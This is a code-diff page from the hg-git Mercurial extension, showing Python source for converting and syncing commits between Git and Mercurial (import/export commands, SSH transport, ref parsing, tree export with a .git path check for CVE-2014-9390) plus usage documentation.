def externalsync(ui, repo, remote, head, limit):
limit = int(limit)
repo.ui.status(
_("importing up to %d commits from %s in %s\n") % (limit, remote, head)
)
with repo.wlock(), repo.lock():
refs = repo.githandler.fetch_pack(remote, [head])
refs = repo.githandler.filter_refs(refs, [head])
imported = repo.githandler.import_git_objects(refs, limit)
repo.ui.status(_("imported %s commits\n") % imported)
@command("gimport")
def gimport(ui, repo, remote_name=None):
"""import commits from Git to Mercurial"""
with repo.wlock(), repo.lock():
repo.githandler.import_commits(remote_name)
@command("gexport")
def gexport(ui, repo):
"""export commits from Mercurial to Git"""
repo.githandler.export_commits()
@command("gclear")
def gclear(ui, repo):
"""clear out the Git cached data
Strips all Git-related metadata from the repo, including the mapping
between Git and Mercurial changesets. This is an irreversible
destructive operation that may prevent further interaction with
other clones.
"""
repo.ui.status(_("clearing out the git cache data\n"))
repo.githandler.clear()
@command(
"gverify", [("r", "rev", "", _("revision to verify"), _("REV"))], _("[-r REV]")
)
def gverify(ui, repo, **opts):
"""verify that a Mercurial rev matches the corresponding Git rev
Given a Mercurial revision that has a corresponding Git revision in the map,
this attempts to answer whether that revision has the same contents as the
corresponding Git revision.
"""
ctx = scmutil.revsingle(repo, opts.get("rev"), ".")
return verify.verify(ui, repo, ctx)
@command("git-cleanup")
def git_cleanup(ui, repo):
"""clean up Git commit map after history editing"""
items = repo.githandler._map.items()
if ui.configbool("hggit", "indexedlognodemap", False):
dir = repo.sharedvfs.join(repo.githandler.map_file + "-log")
tempdir = dir + ".temp"
if os.path.exists(tempdir):
hgutil.removedirs(tempdir)
nodemap = nodemapmod.nodemap(tempdir)
for gitsha, hgsha in items:
if hgsha in repo:
nodemap.add(gitsha, hgsha)
nodemap.flush()
with repo.wlock():
tempdir2 = dir + ".temp2"
hgutil.rename(dir, tempdir2)
hgutil.rename(tempdir, dir)
shutil.rmtree(tempdir2)
new_map = []
for gitsha, hgsha in items:
if hgsha in repo:
new_map.append(pycompat.encodeutf8("%s %s\n" % (hex(gitsha), hex(hgsha))))
wlock = repo.wlock()
try:
f = repo.sharedvfs(GitHandler.map_file, "wb")
list(map(f.write, new_map))
finally:
wlock.release()
ui.status(_("git commit map cleaned\n"))
@command("git-updatemeta")
def gitupdatemeta(ui, repo):
"""Reads git hashes from the latest hg commits and adds them to the git-hg
mapping."""
with repo.wlock(), repo.lock():
stack = repo.heads()
githandler = repo.githandler
parents = repo.changelog.parents
clrev = repo.changelog.rev
clrevision = repo.changelog.changelogrevision
phase = repo._phasecache.phase
public = phases.public
seen = set(stack)
seen.add(nullid)
while stack:
node = stack.pop()
hgsha = hex(node)
gitsha = githandler.map_git_get(hgsha)
# If the gitsha is not already known, add it if we can
if gitsha is None:
gitsha = None
commitdata = clrevision(node)
if (
commitdata._rawextra is not None
and b"convert_revision" in commitdata._rawextra
):
gitsha = commitdata.extra.get("convert_revision")
# If there is no git sha, it may be a local commit. Just walk past
# it.
if gitsha:
githandler.map_set(gitsha, hgsha)
if gitsha or phase(repo, clrev(node)) != public:
for pnode in parents(node):
if pnode not in seen:
seen.add(pnode)
stack.append(pnode)
githandler.save_map(githandler.map_file)
def findcommonoutgoing(orig, repo, other, *args, **kwargs):
if isinstance(other, gitrepo.gitrepo):
heads = repo.githandler.get_refs(other.path)[0]
kw = {}
kw.update(kwargs)
for val, k in zip(args, ("onlyheads", "force", "commoninc", "portable")):
kw[k] = val
force = kw.get("force", False)
commoninc = kw.get("commoninc", None)
if commoninc is None:
commoninc = discovery.findcommonincoming(
repo, other, heads=heads, force=force
)
kw["commoninc"] = commoninc
return orig(repo, other, **kw)
return orig(repo, other, *args, **kwargs)
extensions.wrapfunction(discovery, "findcommonoutgoing", findcommonoutgoing)
def getremotechanges(orig, ui, repo, other, *args, **opts):
if isinstance(other, gitrepo.gitrepo):
if args:
revs = args[0]
else:
revs = opts.get("onlyheads", opts.get("revs"))
r, c, cleanup = repo.githandler.getremotechanges(other, revs)
# ugh. This is ugly even by mercurial API compatibility standards
if sys.version_info[0] >= 3:
if "onlyheads" not in orig.__code__.co_varnames:
cleanup = None
else:
if "onlyheads" not in orig.func_code.co_varnames:
cleanup = None
return r, c, cleanup
return orig(ui, repo, other, *args, **opts)
extensions.wrapfunction(bundlerepo, "getremotechanges", getremotechanges)
def peer(orig, uiorrepo, *args, **opts):
newpeer = orig(uiorrepo, *args, **opts)
if isinstance(newpeer, gitrepo.gitrepo):
if isinstance(uiorrepo, localrepo.localrepository):
newpeer.localrepo = uiorrepo
return newpeer
extensions.wrapfunction(hg, "peer", peer)
def isvalidlocalpath(orig, self, path):
return orig(self, path) or _isgitdir(path)
if hgutil.safehasattr(hgui, "path") and hgutil.safehasattr(
hgui.path, "_isvalidlocalpath"
):
extensions.wrapfunction(hgui.path, "_isvalidlocalpath", isvalidlocalpath)
@util.transform_notgit
def exchangepull(orig, repo, remote, heads=None, force=False, bookmarks=(), **kwargs):
if isinstance(remote, gitrepo.gitrepo):
# transaction manager is present in Mercurial >= 3.3
try:
trmanager = getattr(exchange, "transactionmanager")
except AttributeError:
trmanager = None
pullop = exchange.pulloperation(repo, remote, heads, force, bookmarks=bookmarks)
if trmanager:
pullop.trmanager = trmanager(repo, "pull", remote.url())
wlock = repo.wlock()
lock = repo.lock()
try:
pullop.cgresult = repo.githandler.fetch(remote.path, heads)
if trmanager:
pullop.trmanager.close()
else:
pullop.closetransaction()
return pullop
finally:
if trmanager:
pullop.trmanager.release()
else:
pullop.releasetransaction()
lock.release()
wlock.release()
else:
return orig(repo, remote, heads, force, bookmarks=bookmarks, **kwargs)
@util.transform_notgit
def exchangepush(orig, repo, remote, force=False, revs=None, bookmarks=(), **kwargs):
if isinstance(remote, gitrepo.gitrepo):
# opargs is in Mercurial >= 3.6
opargs = kwargs.get("opargs")
if opargs is None:
opargs = {}
pushop = exchange.pushoperation(repo, remote, force, revs, bookmarks, **opargs)
pushop.cgresult = repo.githandler.push(remote.path, revs, force)
return pushop
else:
return orig(repo, remote, force, revs, bookmarks=bookmarks, **kwargs)
if not hgutil.safehasattr(localrepo.localrepository, "push"):
# Mercurial >= 3.2
extensions.wrapfunction(exchange, "push", exchangepush)
def revset_fromgit(repo, subset, x):
"""``fromgit()``
Select changesets that originate from Git.
"""
revset.getargs(x, 0, 0, "fromgit takes no arguments")
git = repo.githandler
node = repo.changelog.node
return baseset(
(r for r in subset if git.map_git_get(hex(node(r))) is not None), repo=repo
)
def revset_gitnode(repo, subset, x):
"""``gitnode(hash)``
Select the changeset that originates in the given Git revision. The hash
may be abbreviated: `gitnode(a5b)` selects the revision whose Git hash
starts with `a5b`. Aborts if multiple changesets match the abbreviation.
"""
args = revset.getargs(x, 1, 1, "gitnode takes one argument")
rev = revset.getstring(args[0], "the argument to gitnode() must be a hash")
git = repo.githandler
node = repo.changelog.node
def matches(r):
gitnode = git.map_git_get(hex(node(r)))
if gitnode is None:
return False
return gitnode.startswith(rev)
result = baseset((r for r in subset if matches(r)), repo=repo)
if 0 <= len(result) < 2:
return result
raise LookupError(rev, git.map_file, _("ambiguous identifier"))
def gitnodekw(**args):
""":gitnode: String. The Git changeset identification hash, as a 40 char
hexadecimal digit string."""
node = args["ctx"]
repo = args["repo"]
fromextra = node.extra().get("convert_revision", "")
if fromextra:
return fromextra
gitnode = repo.githandler.map_git_get(node.hex())
if gitnode is None:
gitnode = ""
return gitnode

View File

@ -1,40 +0,0 @@
import subprocess
from dulwich.client import SubprocessWrapper
from edenscm.mercurial import pycompat, util
class SSHVendor(object):
"""Parent class for ui-linked Vendor classes."""
def generate_ssh_vendor(ui):
"""
Allows dulwich to use hg's ui.ssh config. The dulwich.client.get_ssh_vendor
property should point to the return value.
"""
class _Vendor(SSHVendor):
def run_command(self, host, command, username=None, port=None):
if isinstance(command, (str, bytes, pycompat.unicode)):
# 0.12.x dulwich sends the raw string
command = [command]
elif len(command) > 1:
# 0.11.x dulwich sends an array of [command arg1 arg2 ...], so
# we detect that here and reformat it back to what hg-git
# expects (e.g. "command 'arg1 arg2'")
command = ["%s '%s'" % (command[0], " ".join(command[1:]))]
sshcmd = ui.config("ui", "ssh")
args = util.sshargs(sshcmd, host, username, port)
cmd = "%s %s %s" % (sshcmd, args, util.shellquote(" ".join(command)))
ui.debug("calling ssh: %s\n" % cmd)
proc = subprocess.Popen(
util.quotecommand(cmd),
bufsize=0,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
)
return SubprocessWrapper(proc)
return _Vendor

View File

@ -1,102 +0,0 @@
# dulwich doesn't return the symref where remote HEAD points, so we monkey
# patch it here
from dulwich.errors import GitProtocolError
from dulwich.protocol import extract_capabilities
from edenscm.mercurial import url, util as hgutil
try:
from edenscm.mercurial import encoding
hfsignoreclean = encoding.hfsignoreclean
except AttributeError:
# compat with hg 3.2.1 and earlier, which doesn't have
# hfsignoreclean (This was borrowed wholesale from hg 3.2.2.)
_ignore = [
# pyre-fixme[10]: Name `unichr` is used but not defined.
unichr(int(x, 16)).encode("utf-8") # noqa: F821
for x in "200c 200d 200e 200f 202a 202b 202c 202d 202e "
"206a 206b 206c 206d 206e 206f feff".split()
]
# verify the next function will work
assert set([i[0] for i in _ignore]) == set(["\xe2", "\xef"])
def hfsignoreclean(s):
"""Remove codepoints ignored by HFS+ from s.
>>> hfsignoreclean(u'.h\u200cg'.encode('utf-8'))
'.hg'
>>> hfsignoreclean(u'.h\ufeffg'.encode('utf-8'))
'.hg'
"""
if "\xe2" in s or "\xef" in s:
for c in _ignore:
s = s.replace(c, "")
return s
def passwordmgr(ui):
try:
realm = hgutil.urlreq.httppasswordmgrwithdefaultrealm()
return url.passwordmgr(ui, realm)
except (TypeError, AttributeError):
# compat with hg < 3.9
return url.passwordmgr(ui)
def read_pkt_refs(proto):
server_capabilities = None
refs = {}
# Receive refs from server
for pkt in proto.read_pkt_seq():
(sha, ref) = pkt.rstrip(b"\n").split(None, 1)
if sha == b"ERR":
raise GitProtocolError(ref)
if server_capabilities is None:
(ref, server_capabilities) = extract_capabilities(ref)
symref = b"symref=HEAD:"
for cap in server_capabilities:
if cap.startswith(symref):
sha = cap.replace(symref, b"")
refs[ref] = sha
if len(refs) == 0:
return None, set([])
return refs, set(server_capabilities)
CONFIG_DEFAULTS = {
"git": {
"authors": None,
"blockdotgit": True,
"blockdothg": True,
"branch_bookmark_suffix": None,
"debugextrainmessage": False, # test only -- do not document this!
"findcopiesharder": False,
"intree": None,
"mindate": None,
"public": list,
"renamelimit": 400,
"similarity": 0,
},
"hggit": {"mapsavefrequency": 0, "usephases": False},
}
hasconfigitems = False
def registerconfigs(configitem):
global hasconfigitems
hasconfigitems = True
for section, items in CONFIG_DEFAULTS.items():
for item, default in items.items():
configitem(section, item, default=default)
def config(ui, subtype, section, item):
if subtype == "string":
subtype = ""
getconfig = getattr(ui, "config" + subtype)
if hasconfigitems:
return getconfig(section, item)
return getconfig(section, item, CONFIG_DEFAULTS[section][item])

View File

@ -1,160 +0,0 @@
# git2hg.py - convert Git repositories and commits to Mercurial ones
from dulwich.objects import Commit, Tag
from edenscm.mercurial import pycompat, util
from edenscm.mercurial.node import bin
def find_incoming(git_object_store, git_map, refs):
"""find what commits need to be imported
git_object_store is a dulwich object store.
git_map is a map with keys being Git commits that have already been imported
refs is a map of refs to SHAs that we're interested in."""
done = set()
commit_cache = {}
# sort by commit date
def commitdate(sha):
obj = git_object_store[sha]
return obj.commit_time - obj.commit_timezone
# get a list of all the head shas
def get_heads(refs):
todo = []
seenheads = set()
for ref, sha in pycompat.iteritems(refs):
# refs could contain refs on the server that we haven't pulled down
# the objects for; also make sure it's a sha and not a symref
assert isinstance(sha, bytes), "expected bytes, actual %s %s" % (
sha.__class__,
sha,
)
if ref != "HEAD" and len(sha) == 40 and sha in git_object_store:
obj = git_object_store[sha]
while isinstance(obj, Tag):
obj_type, sha = obj.object
obj = git_object_store[sha]
if isinstance(obj, Commit) and sha not in seenheads:
seenheads.add(sha)
todo.append(sha)
todo.sort(key=commitdate, reverse=True)
# We convert to utf8 after the sort, since commitdate expects byte shas
return [pycompat.decodeutf8(s) for s in todo]
def get_unseen_commits(todo):
"""get all unseen commits reachable from todo in topological order
'unseen' means not reachable from the done set and not in the git map.
Mutates todo and the done set in the process."""
commits = []
while todo:
sha = todo[-1]
if sha in done or git_map.lookupbyfirst(bin(sha)) is not None:
todo.pop()
continue
if sha in commit_cache:
obj = commit_cache[sha]
else:
obj = git_object_store[pycompat.encodeutf8(sha)]
commit_cache[sha] = obj
assert isinstance(obj, Commit)
for p in obj.parents:
p = pycompat.decodeutf8(p)
if p not in done and git_map.lookupbyfirst(bin(p)) is None:
todo.append(p)
# process parents of a commit before processing the
# commit itself, and come back to this commit later
break
else:
commits.append(sha)
done.add(sha)
todo.pop()
return commits
todo = get_heads(refs)
commits = get_unseen_commits(todo)
return GitIncomingResult(commits, commit_cache)
class GitIncomingResult(object):
"""struct to store result from find_incoming"""
def __init__(self, commits, commit_cache):
self.commits = commits
self.commit_cache = commit_cache
def extract_hg_metadata(message, git_extra):
# The git message may contain non-utf8 characters, which will later be
# encoded into a hg extras. So let's keep the message in bytes, even as we
# turn the metadata into utf8 below.
split = message.split(b"\n--HG--\n", 1)
# Renames are explicitly stored in Mercurial but inferred in Git. For
# commits that originated in Git we'd like to optionally infer rename
# information to store in Mercurial, but for commits that originated in
# Mercurial we'd like to disable this. How do we tell whether the commit
# originated in Mercurial or in Git? We rely on the presence of extra hg-git
# fields in the Git commit.
# - Commits exported by hg-git versions past 0.7.0 always store at least one
# hg-git field.
# - For commits exported by hg-git versions before 0.7.0, this becomes a
# heuristic: if the commit has any extra hg fields, it definitely
# originated in Mercurial. If the commit doesn't, we aren't really sure.
# If we think the commit originated in Mercurial, we set renames to a
# dict. If we don't, we set renames to None. Callers can then determine
# whether to infer rename information.
renames = None
extra = {}
branch = None
if len(split) == 2:
renames = {}
message, meta = split
meta = pycompat.decodeutf8(meta)
lines = meta.split("\n")
for line in lines:
if line == "":
continue
if " : " not in line:
break
command, data = line.split(" : ", 1)
if command == "rename":
before, after = data.split(" => ", 1)
renames[after] = before
if command == "branch":
branch = data
if command == "extra":
k, v = data.split(" : ", 1)
extra[k] = util.urlreq.unquote(v)
git_fn = 0
for field, data in git_extra:
field = pycompat.decodeutf8(field)
data = pycompat.decodeutf8(data)
if field.startswith("HG:"):
if renames is None:
renames = {}
command = field[3:]
if command == "rename":
before, after = data.split(":", 1)
renames[util.urlreq.unquote(after)] = util.urlreq.unquote(before)
elif command == "extra":
k, v = data.split(":", 1)
extra[util.urlreq.unquote(k)] = util.urlreq.unquote(v)
else:
# preserve ordering in Git by using an incrementing integer for
# each field. Note that extra metadata in Git is an ordered list
# of pairs.
hg_field = "GIT%d-%s" % (git_fn, field)
git_fn += 1
extra[util.urlreq.quote(hg_field)] = util.urlreq.quote(data)
return (message, renames, branch, extra)

File diff suppressed because it is too large Load Diff

View File

@ -1,116 +0,0 @@
from edenscm.mercurial import error, pycompat, util
from edenscm.mercurial.error import RepoError
from .util import isgitsshuri
peerapi = False
try:
from edenscm.mercurial.repository import peer as peerrepository
peerapi = True
except ImportError:
# pyre-fixme[21]: Could not find name `peerrepository` in `edenscm.mercurial.peer`.
from edenscm.mercurial.peer import peerrepository
class gitrepo(peerrepository):
def __init__(self, ui, path, create):
if create: # pragma: no cover
raise error.Abort("Cannot create a git repository.")
self._ui = ui
self.path = path
self.localrepo = None
_peercapabilities = ["lookup"]
def _capabilities(self):
return self._peercapabilities
def capabilities(self):
return self._peercapabilities
@property
def ui(self):
return self._ui
def url(self):
return self.path
def lookup(self, key):
if isinstance(key, str):
return key
def local(self):
if not self.path:
raise RepoError
def heads(self):
return []
def listkeys(self, namespace):
if namespace == "namespaces":
return {"bookmarks": ""}
elif namespace == "bookmarks":
if self.localrepo is not None:
handler = self.localrepo.githandler
refs = handler.fetch_pack(self.path, heads=[])
# map any git shas that exist in hg to hg shas
stripped_refs = dict(
[
(
pycompat.decodeutf8(ref[11:]),
handler.map_hg_get(refs[ref]) or refs[ref],
)
for ref in refs.keys()
if ref.startswith(b"refs/heads/")
]
)
return stripped_refs
return {}
def pushkey(self, namespace, key, old, new):
return False
if peerapi:
def branchmap(self):
raise NotImplementedError
def canpush(self):
return True
def close(self):
pass
def debugwireargs(self):
raise NotImplementedError
def getbundle(self):
raise NotImplementedError
def iterbatch(self):
raise NotImplementedError
def known(self):
raise NotImplementedError
def peer(self):
return self
def stream_out(self, shallow=False):
raise NotImplementedError
def unbundle(self):
raise NotImplementedError
instance = gitrepo
def islocal(path):
if isgitsshuri(path):
return True
u = util.url(path)
return not u.scheme or u.scheme == "file"

View File

@ -1,78 +0,0 @@
Basic Use
---------
You can clone a Git repository from Hg by running `hg clone <url> [dest]`.
For example, if you were to run::
$ hg clone git://github.com/schacon/hg-git.git
Hg-Git would clone the repository and convert it to an Hg repository for
you. There are a number of different protocols that can be used for Git
repositories. Examples of Git repository URLs include::
https://github.com/schacon/hg-git.git
http://code.google.com/p/guava-libraries
ssh://git@github.com:schacon/hg-git.git
git://github.com/schacon/hg-git.git
../hg-git (local file path)
For the HTTP, HTTPS, and SSH protocols, it isn't clear based solely on
the URL whether the remote repository should be treated as a Mercurial
repository or a Git repository. Thus, to specify that a URL should
use Git, prepend the URL with "git+". For example, an HTTPS URL would
start with "git+https://". Also, note that Git doesn't require the
specification of the protocol for SSH, but Mercurial does. Hg-Git
automatically detects whether file paths should be treated as Git repositories
by their contents.
If you are starting from an existing Hg repository, you have to set up a
Git repository somewhere that you have push access to, add a path entry
for it in your .hg/hgrc file, and then run `hg push [name]` from within
your repository. For example::
$ cd hg-git # (an Hg repository)
$ # edit .hg/hgrc and add the target Git URL in the paths section
$ hg push
This will convert all your Hg data into Git objects and push them to the
Git server.
Pulling new revisions into a repository is the same as from any other
Mercurial source. Within the earlier examples, the following commands are
all equivalent::
$ hg pull
$ hg pull default
$ hg pull git://github.com/schacon/hg-git.git
Git branches are exposed in Hg as bookmarks, while Git remotes are exposed
as Hg local tags. See `hg help bookmarks` and `hg help tags` for further
information.
Finding and displaying Git revisions
------------------------------------
For displaying the Git revision ID, Hg-Git provides a template keyword:
:gitnode: String. The Git changeset identification hash, as a 40 hexadecimal
digit string.
For example::
$ hg log --template='{rev}:{node|short}:{gitnode|short} {desc}\n'
$ hg log --template='hg: {node}\ngit: {gitnode}\n{date|isodate} {author}\n{desc}\n\n'
For finding changesets from Git, Hg-Git extends revsets to provide two new
selectors:
:fromgit: Select changesets that originate from Git. Takes no arguments.
:gitnode: Select changesets that originate in a specific Git revision. Takes
a revision argument.
For example::
$ hg log -r 'fromgit()'
$ hg log -r 'gitnode(84f75b909fc3)'
Revsets are accepted by several Mercurial commands for specifying revisions.
See ``hg help revsets`` for details.

View File

@ -1,409 +0,0 @@
# This file contains code dealing specifically with converting Mercurial
# repositories to Git repositories. Code in this file is meant to be a generic
# library and should be usable outside the context of hg-git or an hg command.
import os
import stat
import dulwich.objects as dulobjs
from edenscm.mercurial import pycompat, util as hgutil
from edenscm.mercurial.i18n import _
from . import compat, util
def audit_git_path(ui, path):
r"""Check for path components that case-fold to .git.
>>> class fakeui(object):
... def configbool(*args):
... return False
... def warn(self, s):
... print s
>>> u = fakeui()
>>> audit_git_path(u, 'foo/git~100/wat')
warning: path 'foo/git~100/wat' contains a dangerous path component.
It may not be legal to check out in Git.
It may also be rejected by some git server configurations.
<BLANKLINE>
>>> audit_git_path(u, u'foo/.gi\u200ct'.encode('utf-8'))
warning: path 'foo/.gi\xe2\x80\x8ct' contains a dangerous path component.
It may not be legal to check out in Git.
It may also be rejected by some git server configurations.
<BLANKLINE>
>>> audit_git_path(u, 'this/is/safe')
"""
dangerous = False
for c in path.split(os.path.sep):
if compat.hfsignoreclean(c) == ".git":
dangerous = True
break
elif "~" in c:
base, tail = c.split("~", 1)
if tail.isdigit() and base.upper().startswith("GIT"):
dangerous = True
break
if dangerous:
if compat.config(ui, "bool", "git", "blockdotgit"):
raise hgutil.Abort(
_("Refusing to export likely-dangerous path %r") % path,
hint=_(
"If you need to continue, read about CVE-2014-9390 and "
"then set '[git] blockdotgit = false' in your hgrc."
),
)
ui.warn(
_(
"warning: path %r contains a dangerous path component.\n"
"It may not be legal to check out in Git.\n"
"It may also be rejected by some git server configurations.\n"
)
% path
)
class GitTreeDict(object):
"""A mutable structure pretending to be a fullpath->tree dictionary of all the trees
in the given commit.
Trees are lazily loaded as needed, and any path that is set has its parents
automatically loaded/created as well.
"""
def __init__(self, store, commit):
self.store = store
self.trees = {}
self.trees[""] = store[commit.tree] if commit is not None else dulobjs.Tree()
def __getitem__(self, path):
assert isinstance(path, str)
value = self.get(path)
if value is None:
raise KeyError("no path %s" % path)
return value
def get(self, path, default=None):
assert isinstance(path, str)
value = self.trees.get(path)
if value is None:
# It's not in our cache, so let's find the parent so we can add this
# entry.
if path == "":
raise KeyError("missing required '' root")
base, name = os.path.split(path)
parent = self.get(base)
name = pycompat.encodeutf8(name)
if parent is None or name not in parent:
return default
# Load the missing child tree
child_mode, child_id = parent[name]
if child_mode != stat.S_IFDIR:
raise KeyError("trying to set non-tree child %s" % path)
value = self.store[child_id]
self.trees[path] = value
return value
def __setitem__(self, path, value):
assert isinstance(path, str)
base, name = os.path.split(path)
parent = self.get(base)
if parent is None:
# Empty trees will be filled during finalization (see comment below)
self[base] = dulobjs.Tree()
# In an ideal world we would assign the child to the parent here, but
# parents store a reference to the child's id which we don't have since
# the tree is still being mutated. Instead we create empty parents where
# needed, and later in _populate_tree_entries we attach all the children
# to parents bottom-up.
self.trees[path] = value
def __delitem__(self, path):
assert isinstance(path, str)
if path == "":
raise KeyError("cannot delete root path")
del self.trees[path]
def setdefault(self, path, default):
assert isinstance(path, str)
value = self.get(path)
if value is None:
value = default
self[path] = value
return value
class IncrementalChangesetExporter(object):
"""Incrementally export Mercurial changesets to Git trees.
The purpose of this class is to facilitate Git tree export that is more
optimal than brute force.
A "dumb" implementations of Mercurial to Git export would iterate over
every file present in a Mercurial changeset and would convert each to
a Git blob and then conditionally add it to a Git repository if it didn't
yet exist. This is suboptimal because the overhead associated with
obtaining every file's raw content and converting it to a Git blob is
not trivial!
This class works around the suboptimality of brute force export by
leveraging the information stored in Mercurial - the knowledge of what
changed between changesets - to only export Git objects corresponding to
changes in Mercurial. In the context of converting Mercurial repositories
to Git repositories, we only export objects Git (possibly) hasn't seen yet.
This prevents a lot of redundant work and is thus faster.
Callers instantiate an instance of this class against a mercurial.localrepo
instance. They then associate it with a specific changesets by calling
update_changeset(). On each call to update_changeset(), the instance
computes the difference between the current and new changesets and emits
Git objects that haven't yet been encountered during the lifetime of the
class instance. In other words, it expresses Mercurial changeset deltas in
terms of Git objects. Callers then (usually) take this set of Git objects
and add them to the Git repository.
This class only emits Git blobs and trees, not commits.
The tree calculation part of this class is essentially a reimplementation
of dulwich.index.commit_tree. However, since our implementation reuses
Tree instances and only recalculates SHA-1 when things change, we are
more efficient.
"""
def __init__(self, hg_repo, start_ctx, git_store, git_commit):
"""Create an instance against a mercurial.localrepo.
start_ctx: the context for a Mercurial commit that has a Git
equivalent, passed in as git_commit. The incremental
computation will be started from this commit.
git_store: the Git object store the commit comes from.
start_ctx can be repo[nullid], in which case git_commit should be None.
"""
self._hg = hg_repo
# Our current revision's context.
self._ctx = start_ctx
# Path to dulwich.objects.Tree.
self._dirs = GitTreeDict(git_store, git_commit)
# Mercurial file nodeid to Git blob SHA-1. Used to prevent redundant
# blob calculation.
self._blob_cache = {}
@property
def root_tree_sha(self):
"""The SHA-1 of the root Git tree.
This is needed to construct a Git commit object.
"""
return self._dirs[""].id
def update_changeset(self, newctx):
"""Set the tree to track a new Mercurial changeset.
This is a generator of 2-tuples. The first item in each tuple is a
dulwich object, either a Blob or a Tree. The second item is the
corresponding Mercurial nodeid for the item, if any. Only blobs will
have nodeids. Trees do not correspond to a specific nodeid, so it does
not make sense to emit a nodeid for them.
When exporting trees from Mercurial, callers typically write the
returned dulwich object to the Git repo via the store's add_object().
Some emitted objects may already exist in the Git repository. This
class does not know about the Git repository, so it's up to the caller
to conditionally add the object, etc.
Emitted objects are those that have changed since the last call to
update_changeset. If this is the first call to update_chanageset, all
objects in the tree are emitted.
"""
# Our general strategy is to accumulate dulwich.objects.Blob and
# dulwich.objects.Tree instances for the current Mercurial changeset.
# We do this incremental by iterating over the Mercurial-reported
# changeset delta. We rely on the behavior of Mercurial to lazy
# calculate a Tree's SHA-1 when we modify it. This is critical to
# performance.
# In theory we should be able to look at changectx.files(). This is
# *much* faster. However, it may not be accurate, especially with older
# repositories, which may not record things like deleted files
# explicitly in the manifest (which is where files() gets its data).
# The only reliable way to get the full set of changes is by looking at
# the full manifest. And, the easy way to compare two manifests is
# localrepo.status().
modified, added, removed = self._hg.status(self._ctx, newctx)[0:3]
# We track which directories/trees have modified in this update and we
# only export those.
dirty_trees = set()
for path in removed:
self._remove_path(path, dirty_trees)
# For every file that changed or was added, we need to calculate the
# corresponding Git blob and its tree entry. We emit the blob
# immediately and update trees to be aware of its presence.
for path in set(modified) | set(added):
audit_git_path(self._hg.ui, path)
d = os.path.dirname(path)
tree = self._dirs.setdefault(d, dulobjs.Tree())
dirty_trees.add(d)
fctx = newctx[path]
func = IncrementalChangesetExporter.tree_entry
entry, blob = func(fctx, self._blob_cache)
if blob is not None:
yield (blob, fctx.filenode())
tree.add(*entry)
# Now that all the trees represent the current changeset, recalculate
# the tree IDs and emit them. Note that we wait until now to calculate
# tree SHA-1s. This is an important difference between us and
# dulwich.index.commit_tree(), which builds new Tree instances for each
# series of blobs.
for obj in self._populate_tree_entries(dirty_trees):
yield (obj, None)
self._ctx = newctx
def _remove_path(self, path, dirty_trees):
"""Remove a path (file or git link) from the current changeset.
If the tree containing this path is empty, it might be removed."""
d = os.path.dirname(path)
tree = self._dirs.get(d, dulobjs.Tree())
del tree[pycompat.encodeutf8(os.path.basename(path))]
dirty_trees.add(d)
# If removing this file made the tree empty, we should delete this
# tree. This could result in parent trees losing their only child
# and so on.
if not len(tree):
self._remove_tree(d)
else:
self._dirs[d] = tree
def _remove_tree(self, path):
"""Remove a (presumably empty) tree from the current changeset.
A now-empty tree may be the only child of its parent. So, we traverse
up the chain to the root tree, deleting any empty trees along the way.
"""
try:
del self._dirs[path]
except KeyError:
return
# Now we traverse up to the parent and delete any references.
if path == "":
return
basename = os.path.basename(path)
parent = os.path.dirname(path)
while True:
tree = self._dirs.get(parent, None)
# No parent entry. Nothing to remove or update.
if tree is None:
return
try:
del tree[pycompat.encodeutf8(basename)]
except KeyError:
return
if len(tree):
return
if parent == "":
return
# The parent tree is empty. Se, we can delete it.
del self._dirs[parent]
basename = os.path.basename(parent)
parent = os.path.dirname(parent)
def _populate_tree_entries(self, dirty_trees):
self._dirs.setdefault("", dulobjs.Tree())
for dirty in list(dirty_trees):
parent = os.path.dirname(dirty)
while parent != "":
if parent in dirty_trees:
break
dirty_trees.add(parent)
parent = os.path.dirname(parent)
# The root tree is always dirty but doesn't always get updated.
dirty_trees.add("")
# We only need to recalculate and export dirty trees.
for d in sorted(dirty_trees, key=len, reverse=True):
# Only happens for deleted directories.
try:
tree = self._dirs[d]
except KeyError:
continue
yield tree
if d == "":
continue
parent_tree = self._dirs[os.path.dirname(d)]
# Accessing the tree's ID is what triggers SHA-1 calculation and is
# the expensive part (at least if the tree has been modified since
# the last time we retrieved its ID). Also, assigning an entry to a
# tree (even if it already exists) invalidates the existing tree
# and incurs SHA-1 recalculation. So, it's in our interest to avoid
# invalidating trees. Since we only update the entries of dirty
# trees, this should hold true.
parent_tree[pycompat.encodeutf8(os.path.basename(d))] = (
stat.S_IFDIR,
tree.id,
)
@staticmethod
def tree_entry(fctx, blob_cache):
"""Compute a dulwich TreeEntry from a filectx.
A side effect is the TreeEntry is stored in the passed cache.
Returns a 2-tuple of (dulwich.objects.TreeEntry, dulwich.objects.Blob).
"""
blob_id = blob_cache.get(fctx.filenode(), None)
blob = None
if blob_id is None:
blob = dulobjs.Blob.from_string(fctx.data())
blob_id = blob.id
blob_cache[fctx.filenode()] = blob_id
flags = fctx.flags()
if "l" in flags:
mode = 0o120000
elif "x" in flags:
mode = 0o100755
else:
mode = 0o100644
return (
dulobjs.TreeEntry(
pycompat.encodeutf8(os.path.basename(fctx.path())), mode, blob_id
),
blob,
)

View File

@ -1,52 +0,0 @@
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2.
from edenscm.mercurial import localrepo, pycompat, util as hgutil
from edenscm.mercurial.node import bin
from . import util
from .git_handler import GitHandler
from .gitrepo import gitrepo
def generate_repo_subclass(baseclass):
class hgrepo(baseclass):
@util.transform_notgit
def findoutgoing(self, remote, base=None, heads=None, force=False):
if isinstance(remote, gitrepo):
base, heads = self.githandler.get_refs(remote.path)
out, h = super(hgrepo, self).findoutgoing(remote, base, heads, force)
return out
else: # pragma: no cover
return super(hgrepo, self).findoutgoing(remote, base, heads, force)
def _findtags(self):
(tags, tagtypes) = super(hgrepo, self)._findtags()
for tag, rev in pycompat.iteritems(self.githandler.tags):
if isinstance(tag, pycompat.unicode):
tag = tag.encode("utf-8")
tags[tag] = bin(rev)
tagtypes[tag] = "git"
for tag, rev in pycompat.iteritems(self.githandler.remote_refs):
if isinstance(tag, pycompat.unicode):
tag = tag.encode("utf-8")
tags[tag] = rev
tagtypes[tag] = "git-remote"
tags.update(self.githandler.remote_refs)
return (tags, tagtypes)
@hgutil.propertycache
def githandler(self):
"""get the GitHandler for an hg repo
This only makes sense if the repo talks to at least one git remote.
"""
return GitHandler(self, self.ui)
def tags(self):
return {}
return hgrepo

View File

@ -1,548 +0,0 @@
# overlay classes for repositories
